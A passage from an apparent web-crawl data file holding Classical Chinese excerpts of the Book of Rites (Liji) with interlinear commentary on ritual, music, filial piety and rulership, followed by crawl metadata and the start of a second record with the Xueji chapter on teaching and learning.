侧。文王壹饭亦壹饭。文王再饭亦再饭。欲知气力箴药所胜。\n凡三王教世子。必以礼乐。乐所以修内也。礼所以修外也。礼乐交错于中。发形于外。立太傅少傅以养之。养犹教也。言养者积浸成长。太傅审父子君臣之道以示之。为之行其礼也。少傅奉世子以观太傅之德行而审谕之。为之说其义也。太傅在前。少傅在后。谓其在学时也。入则有保。出则有师。谓燕居出入时也。是以教谕而德成也。以有四人维持之。师也者。教之以事而谕诸德者也。保也者。慎其身以辅翼之而归诸道者也。慎其身者。谨安护之。是故知为人子。然后可以为人父。知为人臣。然后可以为人君。知事人。然后能使人。君之于世子也。亲则父也。尊则君也。有父之亲。有君之尊。然后兼天下而有之。是故养世子不可不慎也。处君父之位。览海内之士。而近不能以教其子。则其余不足观之也。\n行一物而三善皆得者。唯世子而已。其齿于学之谓也。物犹事也。故世子齿于学。国人观之曰。将君我。而与我齿让。何也。曰。有父在则礼然。然而众知父子之道矣。其二曰。将君我。而与我齿让。何也。曰。有君在则礼然。然而众知君臣之义也。其三曰。将君我。而与我齿让。何也。曰。长长也。然而众知长幼之节。故父在斯为子。君在斯谓臣。居子与臣之节。所以尊君亲亲也。故学之为父子焉。学之为君臣焉。学之为长幼焉。学。教也。父子君臣长幼之道得。而国治。语曰。乐正司业。父师司成。一有元良。万国以贞。世子之谓也。司。主也。一。一人也。元。大也。良。善也。贞。正也。\n礼 运\n昔者。仲尼与于蜡宾。腊者索也。岁十二月合聚万物而索飨之。亦祭宗庙。时孔子仕鲁而在助祭之中。事毕。出游于观之上。喟然而叹。观。阙也。言偃在侧曰。君子何叹。言偃。孔子弟子子游也。\n孔子曰。大道之行也。天下为公。选贤与能。公犹共也。禅位授圣。不家之也。故人不独亲其亲。不独子其子。孝慈之道广也。使老有所终。幼有所长。鳏寡孤独废疾者。皆有所养。无匮乏者。是故谋闭而不兴。盗窃乱贼而不作。是谓大同。同犹和平。\n今大道既隐。隐犹去也。天下为家。传位于子也。各亲其亲。各子其子。大人世及以为礼。城郭沟池以为固。乱贼繁多。为此以服之。大人。诸侯也。礼义以为纪。以正君臣。以笃父子。以睦兄弟。以和夫妇。以设制度。以功为己。故谋用是作。兵由此起。以其违大道敦朴之本。其弊则然。老子曰。法令滋章。盗贼多有也。禹汤文武。成王周公。由此其选也。由。用也。能用礼义成治者也。此六君子者。未有不谨于礼者。\n言偃复问曰。如此乎。礼之急也。孔子曰。夫礼者。先王以承天之道。以治人之情。故失之者死。得之者生。诗云。人而无礼。胡不遄死。故圣人以礼示之。天下国家可得而正。民知礼则易教也。\n是故礼者。君之大柄。所以治政安君。故圣王修义之柄。礼之序。以治人情。治者。去瑕秽。养精华也。故人情者。圣王之田也。修礼以耕之。和其刚柔。陈义以种之。树以善道。讲学以耨之。存是去非类也。本仁以聚之。合其所盛。播乐以安之。感动使之坚固。\n故治国不以礼。犹无耜而耕也。无以入之也。为礼不本于义。犹耕而不种也。嘉谷无由生也。为义而不讲以学。犹种而不耨也。苗不殖。草不除。讲之以学而不合以仁。犹耨而不获也。无以知收之丰荒也。合之以仁而不安以乐。犹获而不食也。不知味之甘苦。安之以乐而不达于顺。犹食而不肥也。功不见也。\n四体既正。肤革充盈。人之肥也。父子笃。兄弟睦。夫妇和。家之肥也。大臣法。小臣廉。官职相序。君臣相正。国之肥也。天子以德为车。以乐为御。诸侯以礼相与。大夫以法相序。士以信相考。百姓以睦相守。天下之肥也。是谓大顺。\n故无水旱昆虫之灾。民无凶饥妖孼之疾。言大顺之时阴阳和也。昆虫之灾。螟螽之属也。故天不爱其道。地不爱其宝。人不爱其情。言嘉瑞出。人情至也。故天降膏露。地出醴泉。山出器车。河出马图。凤皇骐驎。皆在郊棷,龟龙在宫沼。其余鸟兽之卵胎。皆可俯而窥也。膏。犹甘也。器。谓若银瓮丹甑也。马图。龙马负图而出也。棷。丛草也。沼。池也。则是无故。非有他故使之然。先王能修礼以达义。体信而达顺。故此顺之实也。\n礼 器\n礼释回。增美质。措则正。施则行。释犹去也。回。邪僻也。质犹性也。措犹置也。其在人也。如竹箭之有筠。如松柏之有心。二者居天下之大端。故贯四时而不改柯易叶。箭。篠也。端。本也。四物于天下。最得气之本也。或柔靭于外。或和泽于内。以此不变伤。伤作易。人之得礼亦犹然。君子有礼。则外谐而内无怨。故物无不怀仁。鬼神飨德。怀。归。\n先王之立礼也。有本有文。忠信礼之本。义理礼之文。无本不立。无文不行。言必外内具也。礼也者。合于天时。设于地财。顺于鬼神。合于人心。理万物者。故天不生。地不养。君子不以为礼。鬼神弗飨。天不生。谓非其时物也。地不养。谓非其地所生也。\n是故昔者先王之制礼也。因其财物而致其义焉。故作大事必顺天时。大事。祭祀也。为朝夕必放于日月。日出东方。月生西方也。为高必因丘陵。谓冬至祭天于圜丘之上。为下必因川泽。谓夏至祭地于方泽之中。\n是故因天事天。天高。因高者以事之。因地事地。地下。因下者以事之。因名山升中于天。名犹大也。升犹上也。中犹成也。谓巡狩至于方岳。燔柴祭天。告以诸侯之成功也。因吉土以飨帝于郊。吉土。王者所卜而居之土也。飨帝于郊。以四时所兆祭于四郊者也。升中于天而凤皇降。龟龙格。功成而太平。阴阳气和而致象物也。飨帝于郊而风雨节。寒暑时。五帝主五行。五行之气和而庶征得其序。五行。木为雨。金为旸。火为燠。水为寒。土为风。是故圣人南面而立。而天下大治。\n是故先王制体也以节事。动反本也。修乐以导志。劝之善也。故观其礼乐而治乱可知。乱国礼慢而乐淫也。\n内 则\n子事父母。鸡初鸣。咸盥漱。冠緌缨。端毕绅。缙笏。咸。皆也。緌。缨之饰也。端。玄端。士服也。庶人深衣也。绅。大带也。左右佩用。必佩者。备尊者使令也。以适父母舅姑之所。\n及所。下气怡声。问所欲而敬进之。柔色以温之。温。借也。承尊者必和颜色也。\n父母有过。下气怡色。柔声以谏。谏若不入。起敬起孝。悦则复谏。父母怒不悦。而挞之流血。不敢疾怨。起敬起孝。挞。击。\n父母虽没。将为善。思贻父母令名。必果。\n曾子曰。孝子之养老。乐其耳目。安其寝处。以其饮食忠养之。父母之所爱亦爱之。父母之所敬亦敬之。至于犬马尽然。而况于人乎。\n玉 藻\n年不顺成。则天子素服。乘素车。食无乐。自贬损也。\n君无故不杀牛。大夫无故不杀羊。士无故不杀犬豕。故。谓祭祀之时。君子远庖厨。凡有血气之类。弗身践也。践当为翦。声之误。翦犹杀也。\n大 传\n圣人南面而听天下。所且先者有五。民不得与焉。且先言未遑余事。一曰治亲。二曰报功。三曰举贤。四曰使能。五曰存爱。功。功臣也。存。察也。察有仁爱者。五者一得。于天下民无不足。无不赡。五者一物纰缪。民不得其死。物犹事。纰犹错也。五事得则民足。一事失则民不得其死。明政之难也。圣人南面而治天下。必自人道始矣。人道谓此五事也。\n是故人道亲亲。言先有恩。亲亲故尊祖。尊祖故敬宗。敬宗故收族。收族故宗庙严。宗庙严故重社稷。重社稷故爱百姓。爱百姓故刑罚中。刑罚中故庶民安。庶民安故财用足。财用足故百志成。百志成故礼俗刑。礼俗刑然后乐。收族。序以昭穆也。严犹尊也。百志。人之志意所欲也。刑犹成也。诗云。不显不承。无斁于人斯。此之谓也。斁。厌也。言文王之德不显乎。不承先人之业乎。言其显且承之。乐之无厌。\n乐 记\n凡音之起。由人心生也。人心之动。物使之然也。感于物而动。故形于声。宫商角征羽杂比曰音。单出曰声。形犹见也。乐者。音之所由生也。其本在人心之感于物。是故其哀心感者。其声噍以杀。其乐心感者。其声啴以缓。其喜心感者。其声发以散。其怒心感者。其声粗以厉。其敬心感者。其声直以廉。其爱心感者。其声和以柔。六者非其性也。感于物而后动。言人声在所见。非有常也。噍。踧也。啴。宽绰貌。发犹扬也。是故先王慎所以感之者。故礼以导其志。乐以和其声。政以一其行。刑以防其奸。礼乐刑政。其极一也。所以同民心而出治道。\n凡音者。生人心者也。情动于中。故形于声。声成文。谓之音。是故治世之音安以乐。其政和。乱世之音怨以怒。其政乖。亡国之音哀以思。其民困。音声之道。与政通矣。言八音和否随政。宫为君。商为臣。角为民。征为事。羽为物。五者不乱。则无怠懘之音矣。五者君臣民事物也。凡声浊者尊,清者卑。怠懘。敝败不和之貌也。宫乱则荒。其君骄。商乱则陂。其臣坏。角乱则忧。其民怨。征乱则哀。其事勤。羽乱则危。其财匮。五者皆乱。迭相陵。谓之慢。如此。则国之灭亡无日矣。君臣民事物其道乱。则其音应而乱也。荒犹散也。陂。倾也。郑衞之音。乱世之音。比于慢矣。比犹同也。桑间濮上之音。亡国之音。其政散。其民流。诬上行私而不可止也。濮水之上。地有桑间者。亡国之音。于此水出也。\n是故知声而不知音者。禽兽是也。知音而不知乐者。众庶是也。唯君子为能知乐。禽兽知此为声耳。不知其宫商之变。八音并作克谐曰乐。审声以知音。审音以知乐。审乐以知政。而治道备矣。是故不知声者。不可与言音。不知音者。不可与言乐。知乐者则几于礼矣。礼乐皆得。谓之有德。几。近也。听乐而知政之得失。则能正君臣民事物之礼也。\n乐之隆非极音。食飨之礼非致味。隆犹盛。极犹穷。是故先王之制礼乐(旧无先王至礼乐六字。补之)。非以极口腹耳目之欲。将以教民平好恶而反人道之正。教之使知好恶。先王之制礼乐。人为之节。言为作法度以遏其欲也。衰麻哭泣。所以节丧纪也。钟鼓干戚。所以和安乐也。婚姻冠筓。所以别男女也。射鄕食飨。所以正交接也。男二十而冠。女许嫁而筓。成人之礼也。射。大射鄕。鄕。饮酒也。食。食礼飨。飨。礼也。礼节民心。乐和民声。政以行之。刑以防之。礼乐刑政四达而不悖。则王道备矣。\n乐由中出。和在心也。礼自外作。敬在貌也。大乐必易。大礼必简。易简若于清庙大飨然也。乐至则无怨。礼至则不争。揖让而治天下者。礼乐之谓也。至犹达行。大乐与天地同和。大礼与天地同节。言顺天地之气与其数也。和。故百物不失。不失性也。节故祀天祭地。成万物有功报焉也。明则有礼乐。教人者也。幽则有鬼神。助天地成物者也。如此。则四海之内。合敬同爱。\n王者功成作乐。治定制礼。功主于王业。治主于教民。五帝殊时。不相沿乐。三王异世。不相袭礼。言其有损益也。故圣人作乐以应天。制礼以配地。礼乐明备。天地官矣。官犹事也。各得其事。地气上跻。天气下降。鼓之以雷霆。奋之以风雨。动之以四时。暖之以日月。而百化兴焉。如此。则乐者天地之和也。\n礼者。所以缀淫也。缀犹止也。是故先王有大事。必有礼以哀之。有大福。必有礼以乐之。哀乐之分。皆以礼终。大事谓死丧也。是故先王本之情性。稽之度数。制之礼义。合生气之和。道五常之行。使之阳而不散。阴而不密。刚气不怒。柔气不慑。四畅交于中。而发作于外。皆安其位而不相夺也。生气。阴阳气也。五常。五行也。密之言闭也。慑犹恐惧也。\n土弊则草木不长。水烦则鱼鳖不大。气衰则生物不遂。世乱则礼慝而乐淫。是故其声哀而不庄。乐而不安。慢易以犯节。流湎以忘本。感条畅之气而灭平和之德。是以君子贱之也。遂犹成也。慝。秽也。感。动也。动人条畅之善气使失其所也。凡奸声感人而逆气应之。逆气成象而淫乐兴焉。正声感人而顺气应之。顺气成象而和乐兴焉。唱和有应。回邪曲直。各归其分。而万物之理。各以类相动。成象谓人乐习焉。是故君子反情以和其志。比类以成其行。奸声乱色。不留聪明。淫乐慝礼。不接心术。惰慢邪僻之气。不设于身体。使耳目鼻口心智百体皆由顺正以行其义。反犹本也。术犹道也。\n然后发以声音而文以琴瑟。动以干戚。饰以羽旄。从以箫管。奋至德之光。动四气之和。以着万物之理。奋犹动。动至德之光。谓降天神。出地祗。格祖考也。着。犹成也。故乐行而伦清。耳目聪明。血气和平。移风易俗。天下皆宁。言乐用则正人理。和阴阳也。伦谓人道也。\n魏文侯问于子夏曰。吾端冕而听古乐。则唯恐卧。听郑衞之音。则不知倦。敢问古乐之如彼何也。新乐之如此何也。古乐。先王之正乐也。对曰。今君之所问者乐也。所好者音也。相近而不同。铿锵之类皆为音。应律乃为乐。文公曰。敢问何如。欲知音乐异意。对曰。夫古者天地顺而四时当。民有德而五谷昌。疾疫不作而无妖祥。此之谓大当。然后圣人作为父子君臣。以为纲纪。纲纪既正。天下大定。天下大定。然后正六律。和五声。弦歌诗颂。此之谓德音。德音之谓乐。当谓乐不失其所也。今君之所好者。其溺音乎。\n郑音好滥淫志。宋音燕女溺志。衞音趋数烦志。齐音敖僻骄志。四者淫于色而害于德。是以祭祀弗用也。言四国出此溺音也。为人君者。谨其所好恶而已矣。君好之则臣为之。上行之则民从之。诗云。诱民孔易。此之谓也。诱。进也。孔。甚也。民从君之所好恶。进之于善无难也。\n君子曰。礼乐不可斯须去身。致乐以治心。乐由中出。故治心也。致礼以治躬。礼自外作。故治身也。心中斯须不和不乐。而鄙诈之心入之矣。鄙诈入之。谓利欲生也。外貌斯须不庄不敬。而易慢之心入之矣。易。轻易也。故乐也者。动于内者也。礼也者。动于外者也。乐极则和。礼极则顺。内和而外顺。则民瞻其颜色而不与争也。望其容貌而民不生易慢焉。是故乐在宗庙之中。君臣上下同听之。则莫不和敬。在族长鄕里之中。长幼同听之。则莫不和顺。在闺门之内。父子兄弟同听之。则莫不和亲。故乐者所以合和父子君臣。附亲万民。是先王立乐之方也。\n祭 法\n夫圣王之制祭祀也。法施于民则祀之。以死勤事则祀之。以劳定国则祀之。能御大灾则祀之。能捍大患则祀之。是故厉山氏之有天下也。其子曰农。能殖百谷。夏后氏之衰。周弃继之。故祀以为稷。共工氏之霸九州也。其子曰后土。能平九州。故祀以为社。帝喾能序星辰。尧能赏均刑法。舜能勤众事。鲧鄣洪水。禹能修鲧之功。黄帝正名百物。颛顼能修之。契为司徒而民成。冥勤其官而水死。汤以宽治民而除其虐。文王以文治。武王以武功。去民之灾。此皆有功烈于民者也。及夫日月星辰。民所瞻仰也。山林川谷丘陵。民所取财用也。非此族也。不在祀典。祀典。谓祭礼也。\n祭 义\n祭不欲数。数则烦。烦则不敬。祭不欲疏。疏则怠。怠则忘。是故君子合诸天道。春禘秋尝。忘与不敬。违礼莫大焉。合于天道。因四时之变化。孝子感时而念亲。则以此祭之也。霜露既降。君子履之。必有凄怆之心。非其寒之谓也。春雨露既濡。君子履之。必有怵惕之心。如将见之。非其寒之谓。谓凄怆及怵惕。皆为感时念亲也。乐以迎来。哀以送往。\n致斋于内。散斋于外。斋之日。思其居处。思其笑语。思其志意。思其所乐。思其所嗜。斋三日。乃见其所为斋者。见其所为斋。思之熟也。祭之日。入室。僾然必有见乎其位。周旋出户。肃然必有闻乎其容声。出户而听。忾然必有闻乎其叹息之声。是故先王之孝也。色不忘乎目。声不绝乎耳。心志嗜欲不忘乎心。安得不敬乎。\n君子生则敬养。死则敬享。享犹祭也。飨也。唯圣人为能飨帝。孝子为能飨亲。谓祭之能使之飨之也。帝。天也。\n先王之所以治天下者五。贵有德也。贵贵也。贵老也。敬长也。慈幼也。此五者。先王之所以定天下也。贵有德。为其近于道也。贵贵。为其近于君也。贵老。为其近于亲也。敬长。为其近于兄也。慈幼。为其近于子也。言治国有家道也。\n曾子曰。身也者。父母之遗体也。行父母之遗体。敢不敬乎。居处不庄。非孝也。事君不忠。非孝也。莅官不敬。非孝也。朋友不信。非孝也。战陈无勇。非孝也。五者不遂。灾及于亲。敢不敬乎。遂犹成也。\n夫孝。置之而塞乎天地。敷之而横乎四海。施诸后世而无朝夕。诗云。自西自东。自南自北。无思不服。此之谓也。\n孝有三。小孝用力。中孝用劳。大孝不匮。劳犹功。思慈爱忘劳。可谓用力矣。尊仁安义。可谓用劳矣。博施备物。可谓不匮矣。思慈爱忘劳。思父母之慈爱己。而自忘己之劳苦。父母爱之。喜而弗忘。父母恶之。惧而无怨。无怨。无怨于父母之心也。父母有过。谏而不逆。顺而谏之。父母既没。必求仁者之粟以祀之。此之谓礼终。喻贫困犹不取恶人之物以事己(己作亡)亲。\n乐正子春下堂而伤其足。数月不出。犹有忧色。门弟子曰。夫子之足瘳矣。数月不出。犹有忧色。何也。曰。吾闻诸曾子。父母全而生之。子全而归之。可谓孝矣。不亏其体。不辱其身。可谓全矣。故君子跬步弗敢忘孝也。今予忘孝之道。予是以有忧色也。壹举足而不敢忘父母。壹出言而不敢忘父母。壹举足而不敢忘父母。是故道而弗径。舟而不游。不敢以先父母之遗体行危殆。壹出言而不敢忘父母。是故恶言不出于口。忿言不及(及作反)于身。不辱其身。不羞其亲。可谓孝矣。径。步邪趋疾也。\n虞。夏。殷。周。天下之盛王也。未有遗年者。是故天子巡狩。诸侯待见于境。天子先见(无见字)百年者。问其国君以百年者所在而往见之。\n祭 统\n凡治人之道。莫急于礼。礼有五经。莫重于祭。礼有五经。谓吉凶宾军嘉也。莫重于祭。谓以吉礼为首也。夫祭者。非物自外至也。自中出。生于心也。心怵而奉之以礼。是故唯贤者能尽祭之义。\n是故君子之教也。外则教之以尊其君长。内则教之以孝于其亲。是故君子之事君也。必身行之。所不安于上。则不以使下。所恶于下。则不以事上。非诸人。行诸己。非教之道也。必身行之。言恕己乃行之。是故君子之教也。必由其本。顺之至也。祭其是与。故曰。祭者教之本也已。教由孝顺生。祭而不敬。何以为也。\n经 解\n天子者与天地参焉。故德配天地。兼利万物。与日月并明。明照四海而不遗微小。其在朝廷。则道仁圣礼义之序。燕处则听雅颂之音。行步则有环佩之声。升车则有鸾和之响。居处有礼。进退有度。百官得其宜。万事得其序。诗云。淑人君子。其仪不忒。其仪不忒。正是四国。此之谓也。道犹言也。发号出令而民悦。谓之和。上下相亲。谓之仁。民不求其所欲而得之。谓之信。除去天地之害。谓之义。义与信。和与仁。霸王之器也。有治民之意而无其器。则不成。器谓所操以作事者。义信和仁皆在(在作存)于礼也。\n夫礼之于国也。犹衡之于轻重也。绳墨之于曲直也。规矩之于方圆也。故衡诚悬不可欺以轻重。绳墨诚陈。不可欺以曲直。规矩诚设。不可欺以方圆。君子审礼。不可诬以奸诈。衡。称也。县。锤也。陈。设也。孔子曰。安上治民。莫善于礼。此之谓也。\n故朝觐之礼。所以明君臣之义也。聘问之礼。所以使诸侯相尊敬也。丧祭之礼。所以明臣子之恩也。乡饮酒之礼。所以明长幼之序也。婚姻之礼。所以明男女之别也。夫礼禁乱之所由生。犹防止水之所自来也。故以旧防为无所用而坏之者。必有水败。以旧礼为无所用而去之者。必有乱患。\n故婚姻之礼废。则夫妇之道苦。而淫僻之罪多矣。乡饮酒之礼废。则长幼之序失。而斗争之狱繁矣。丧祭之礼废。则臣子之恩薄。而背死忘生者众矣。聘觐之礼废。则君臣之位失。而背叛侵陵之败起矣。苦。谓不至不荅之属。\n故礼之教化也微。其正(正作上)邪于未形。使人日徙善远罪而不自知也。是以先王隆之也。易曰。君子慎始。差若毫厘。谬以千里。此之谓也。隆谓尊盛之也。始谓其微时也。\n仲尼燕居\n子曰。礼者。何也。即事之治也。治国而无礼。譬犹瞽之无相与。伥伥乎其何之。譬如终夜有求幽室之中。非烛。何以见之。若无礼。则手足无所措。耳目无所加。进退揖让无所制。是故以之居处。长幼失其别。闺门三族失其和。朝廷官爵失其序。军旅武功失其制。宫室失其度量。丧纪失其哀。政事失其施。凡众之动失其宜。\n中 庸\n天命之谓性。率性之谓道。修道之谓教。性者。生之质也。命者。人所禀受。率。循。循性行之是曰道。修。治也。治而广之。人放效之。是曰教。道也者。不可须臾离也。可离。非道也。道犹道路也。出入动作由之。须臾离之恶乎从。是故君子戒慎乎其所不睹。恐惧乎其所不闻。莫见乎隐。莫显乎微。故君子慎其独也。慎其独者。慎其闲居之所为也。小人于隐者动作言语。自以为不见睹。不见闻。则必肆尽其情。若有占听之者。是为显见。甚于众人之中为之也。子曰。中庸其至矣乎。民鲜能久矣。鲜。罕也。言中庸为道至美。故人罕能久行之者。\n子曰。无忧者。其唯文王乎。以王季为父。以武王为子。父作之。子述之。圣人以立法度为大事。子能述成之。则何忧乎。尧舜之父子则有凶顽。禹。汤之父子则寡令闻。父子相成唯有文王也。武王缵大王王季文王绪(绪上有之字)。一戎衣而有天下。身不失天下之显名。尊为天子。富有四海之内。宗庙飨之。子孙保之。缵。继也。绪。业也。子曰。武王。周公。其达孝矣乎。夫孝者。善继人之志。善述人之事者也。\n表 记\n子曰。仁有三。与仁同功而异情。利仁。强仁。功虽与安仁者同。本情则异也。与仁同功。其仁未可知也。与仁同过。然后其仁可知也。仁者安仁。智者利仁。畏罪者强仁。功者人所贪。过者人所避。\n子曰。君子不以辞尽人。不见人之言语则以为善。言其余行或时恶也。故天下有道。则行有枝叶。天下无道。则辞有枝叶。行有枝叶。所以益德也。言有枝叶。是众虚华也。枝叶依干而生。言行亦由礼出也。是故君子于有丧者之侧。不能赙焉。则不问其所费。于有病者之侧。不能馈焉。则不问其所欲。有客不能馆焉。则不问其所舍。皆避有其言而无其实也。故君子之接如水。小人之接如醴。君子淡以成。小人甘以坏。水相得合而已。酒醴相得则败。淡。无酸酢,少味也。不以口誉人。则民作忠。故君子问人之寒则衣之。问人之饥则食之。称人之美则爵之。皆为有言不可以无实也。\n缁 衣\n子言之曰。为上易事也。为下易知也。则刑不烦矣。言君不苛虐。臣无奸心。则刑可以措也。\n子曰。夫民。教之以德。齐之以礼。则民有格心。教之以政。齐之以刑。则民有遁心。格。来也。遁。逃也。故君民者。子以爱之。则民亲之。信以结之。则民不背。恭以莅之。则民有逊心。莅。临也。逊犹顺也。\n子曰。下之事上也。不从其所令而从其所行。言民化行。不拘于言也。上好是物。下必有甚矣。甚者。甚于君也。故上之所好恶。不可不慎也。是民之表也。言民之从君。如影之逐表。子曰。禹立三年。百姓以仁遂焉。岂必尽仁。言百姓效禹为仁。非本性能仁也。子曰。上好仁。则下之为仁争先人。\n子曰。王言如丝。其出如纶。王言如纶。其出如綍。言言出弥大也。纶。今有秩啬夫所佩也。綍引棺索也。故大人不唱游言。游犹浮也。不可用之言也。可言也。不可行。君子弗言也。可行也。弗可言。君子弗行也。则民言不危行。而行不危言矣。危犹高也。言不高于行。行不高于言。言行相应。子曰。君子道人以言。而禁人以行。禁犹谨也。故言必虑其所终。而行必稽其所敝。则民谨于言而慎于行。稽犹考也。诗云。慎尔出话。敬尔威仪。话。善言也。\n子曰。为上可望而知也。为下可述而志也。则君不疑于其臣。而臣不惑于其君矣。志犹知也。上人疑则百姓惑。下难知则君长劳。难知有奸心也。故君民者章好以示民俗。慎恶以御民之淫。则民不惑矣。淫。贪侈也。孝经曰。示之以好恶而民知禁也。\n子曰。大臣不可以不敬也。是民之表也。迩臣不可以不慎也。是民之道也。民之道。言民循从也。子曰。大人不亲其所贤而信其所贱。民是以亲失而教是以烦。亲失。失其所当亲也。教烦由信贱者也。贱者无壹德也。\n子曰。民以君为心。君以民为体。心庄则体舒。心肃则容敬。心好之身必安之。君好之。民必欲之。心以体全。亦以体伤。君以民存。亦以民亡。庄。齐庄也。\n大 学\n尧。舜率天下以仁。而民从之。桀。纣率天下以暴。而民从之。其所令反其所好。而民不从。言民化君行也。君好货而禁民淫于财利。不能止也。是故君子有诸己而后求诸人。无诸己而后非诸人。所藏乎身不恕。而能喻诸人者。未之有也。\n故上老老而民兴孝。上长长而民兴悌。上恤孤而民不背。所恶于上。无以使下。所恶于下。毋以事上。所恶于前。毋以先后。所恶于后。毋以从前。所恶于右。毋以交左。所恶于左。毋以交于右。诗云。乐只君子。民之父母。民之所好好之。民之所恶恶之。此之谓民之父母。言治民之道无他。取于己而已。好人之所恶。恶人之所好。是谓拂人之性。灾必逮夫身。拂犹佹。逮。及也。\n昏 义\n昏礼者。将合二姓之好。上以事宗庙而下以继后世也。故君子重之。男女有别。而后夫妇有义。夫妇有义。而后父子有亲。父子有亲。而后君臣有正。故曰。婚礼者。礼之本也。夫礼始于冠。本于婚。重于丧祭。尊于朝聘。和于鄕射。此礼之大体也。\n古者。天子后立六宫。三夫人。九嫔。二十七世妇。八十一御女。以听天下之内治。以明章妇顺。故天下内和而家理也。天子立六官。三公。九卿。二十七大夫。八十一元士。以听天下之外治。以明章天下之男教。故外和而国治也。故曰。天子听男教。后听女顺。天子理阳道。后治阴德。天子听外治。后听内治。教顺成俗。外内和顺。国家理治。此之谓盛德也。\n是故男教不修。阳事不得。讁见于天。日为之食。妇顺不修。阴事不得。讁见于天。月为之食。是故日食。则天子素服而修六官之职。荡天下之阳事。月食。则后素服而修六宫之职。荡天下之阴事。故天子之与后。犹日之与月。阴之与阳。相须而后成者也。讁之言责也。荡。荡涤。去秽恶也。\n射 义\n古者诸侯之射也。必先行燕礼。卿大夫士之射也。必先行鄕饮酒之礼。故燕礼者。所以明君臣之义也。鄕饮酒之礼者。所以明长幼之序也。言别尊卑老稚。乃后射以观德行也。\n故射者进退周还必中礼。内志正。外体直。然后持弓矢审固。持弓矢审固。然后可以言中。此可以观德行也。内正外直,习于礼乐有德行者。\n其节。天子以驺虞。诸侯以狸首。大夫以采苹。士以采蘩。故明乎其节之志。以不失其事。则功成而德行立。德行立则无暴乱之祸。功成则国安。故曰。射者。所以观盛德也。驺虞。采苹。采蘩。今诗篇名也。狸首亡也。\n是故古者。天子以射选诸侯卿大夫士。射者男子之事。因而饰之以礼乐也。故事之尽礼乐而可数为以立德行者。莫若射。故圣王务焉。选士者先考德行。乃后决之射也。男子生而有射事。长学礼乐以饰之。\n是故古者天子之制。诸侯岁献贡士于天子。天子试之于射宫。观其容体。比于礼。其节比于乐。而中多者。得与于祭。其容体不比于礼。其节不比于乐。而中少者。不得与于祭。数与于祭而君有庆。数不与于祭而君有让。数有庆而益地。数有让而削地。故曰。天子之大射。谓之射侯。射侯者。射为诸侯也。射中。则得为诸侯。射不中。则不得为诸侯。大射谓将祭择士之射也。得为诸侯。谓有庆也。不得为诸侯。谓有让也。\n故射者仁之道也。求正诸己。己正而后发。发而不中。则不怨胜者。反求诸己而已矣。孔子曰。君子无所争。必也射乎。","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/lingdaoli.com\/docs\/liji-on-leadership\/","date":"2021-01-26T02:35:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704795033.65\/warc\/CC-MAIN-20210126011645-20210126041645-00332.warc.gz","language":"lzh","language_score":0.4026505649,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4026505649089813, \"cmn_Hani_score\": 0.35674336552619934, \"nan_Hani_score\": 0.05947395786643028, \"wuu_Hani_score\": 0.05282057076692581, \"jpn_Jpan_score\": 0.047129593789577484, \"zxx_Latn_score\": 0.012037266977131367}","num_words":148,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":0.403,"perplexity_score":500.0,"cluster_detection":1} +{"text":"学记 发虑宪.求善良.足以谀闻.不足以动众.就贤体远.足以动众.未足以化民 .君子如欲化民成俗.其必由学乎 玉不琢.不成器.人不学.不知道.是故古之王者.建国君民.教学为先.兑 命曰.念终始典于学.其此之谓乎. 虽有嘉肴.弗食.不知其旨也.虽有至道.弗学.不知其善也.是故学然后知 不足.教然后知困.知不足.然后能自反也知困.然后能自强也.故曰.教学相长 也.兑命曰.学学半.其此之谓乎. 古之教者.家有塾.党有庠.术有序.国有学.比年入学.中年考校.一年视 离经辨志.三年视敬业乐群.五年视博习亲师.七年视论学取友.谓之小成.九年 知类通达.强立而不反.谓之大成.夫然后足以化民易俗.近者说服.而远者怀之 .此大学之道也.记曰.蛾子时术之.其此之谓乎. 大学始教.皮弁祭菜.示敬道也.宵雅肄三.官其始也.入学鼓箧.孙其业也 .夏楚二物.收其威也.未卜禘.不视学.游其志也.时观而弗语.存其心也.幼 者听而弗问.学不躐等也.此七者.教之大伦也.记曰.凡学.官先事.士先志. 其此之谓乎. 大学之教也.时教必有正业.退息必有居学.不学操缦.不能安弦.不学博依 .不能安诗.不学杂服.不能安礼.不兴其艺.不能乐学.故君子之于学也.藏焉 修焉.息焉游焉.夫然故.安其学而亲其师.乐其友而信其道.是以虽离师辅而不 反.兑命曰.敬孙务时敏.厥修乃来.其此之谓乎. 今之教者.呻其占毕.多其讯.言及于数.进而不顾其安.使人不由其诚.教 人不尽其材.其施之也悖.其求之也佛.夫然故.隐其学而疾其师.苦其难而不知 其益也.虽终其业.其去之必速.教之不刑.其此之由乎. 大学之法.禁于未发之谓豫.当其可之谓时.不陵节而施之谓孙.相观而善之 谓摩.此四者.教之所由兴也. 发然后禁.则扞格而不胜.时过然后学.则勤苦而难成.杂施而不孙.则坏乱 而不修.独学而无友.则孤陋而寡闻.燕朋逆其师.燕辟废其学.此六者.教之所 由废也. 君子既知教之所由兴.又知教之所由废.然后可以为人师也.故君子之教喻也 .道而弗牵.强而弗抑.开而弗达.道而弗牵则和.强而弗抑则易.开而弗达则思 .和易以思.可谓善喻矣. 学者有四失.教者必知之.人之学也.或失则多.或失则寡.或失则易.或失 则止.此四者.心之莫同也.知其心.然后能救其失也.教也者.长善而救其失者 也. 善歌者.使人继其声.善教者.使人继其志.其言也约而达.微而臧.罕譬而 喻.可谓继志矣. 君子知至学之难易.而知其美恶.然后能博喻.能博喻.然后能为师.能为师 .然后能为长.能为长.然后能为君.故师也者.所以学为君也.是故择师不可不 慎也.记曰.三王四代唯其师.此之谓乎. 凡学之道.严师为难.师严然后道尊.道尊.然后民知敬学.是故君之所不臣 于其臣者二.当其为尸.则弗臣也.当其为师.则弗臣也.大学之礼.虽诏于天子 .无北面.所以尊师也. 善学者.师逸而功倍.又从而庸之.不善学者.师勤而功半.又从而怨之.善 问者如攻坚木.先其易者.后其节目.及其久也.相说以解.不善问者反此.善待 问者如撞钟.叩之以小者则小鸣.叩之以大者则大鸣.待其从容.然后尽其声.不 善荅问者反此.此皆进学之道也. 记问之学.不足以为人师.必也其听语乎.力不能问.然后语之.语之而不知 .虽舍之可也.良冶之子.必学为裘.良弓之子.必学为箕.始驾马者反之.车在 马前.君子察于此三者.可以有志于学矣. 